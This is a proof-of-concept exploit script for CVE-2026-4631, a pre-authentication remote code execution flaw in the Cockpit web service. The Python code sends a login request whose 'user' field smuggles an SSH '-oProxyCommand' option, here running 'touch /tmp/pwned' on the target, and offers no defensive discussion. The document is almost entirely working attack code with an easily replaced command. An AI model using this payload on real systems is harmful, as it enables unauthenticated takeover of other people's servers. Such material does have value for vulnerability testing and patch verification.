CVE-2026-4631 Cockpit远程登录代码执行漏洞

import requests # CVE-2026-4631 Proof of Concept # Target: Cockpit Web Service # Description: Injects malicious SSH options via the 'user' parameter to achieve RCE. target_url = "http://<target-ip>:9090/cockpit/login" # Payload using SSH -oProxyCommand to execute a shell command (e.g., creating a file) # The injection happens before authentication, so password can be arbitrary malicious_user = "-oProxyCommand=touch /tmp/pwned" payload = { "user": malicious_user, "password": "dummy", "host": "localhost" } try: response = requests.post(target_url, json=payload, timeout=10) print(f"Request sent with status code: {response.status_code}") print("Check /tmp/pwned on the target host to verify execution.") except Exception as e: print(f"Error: {e}")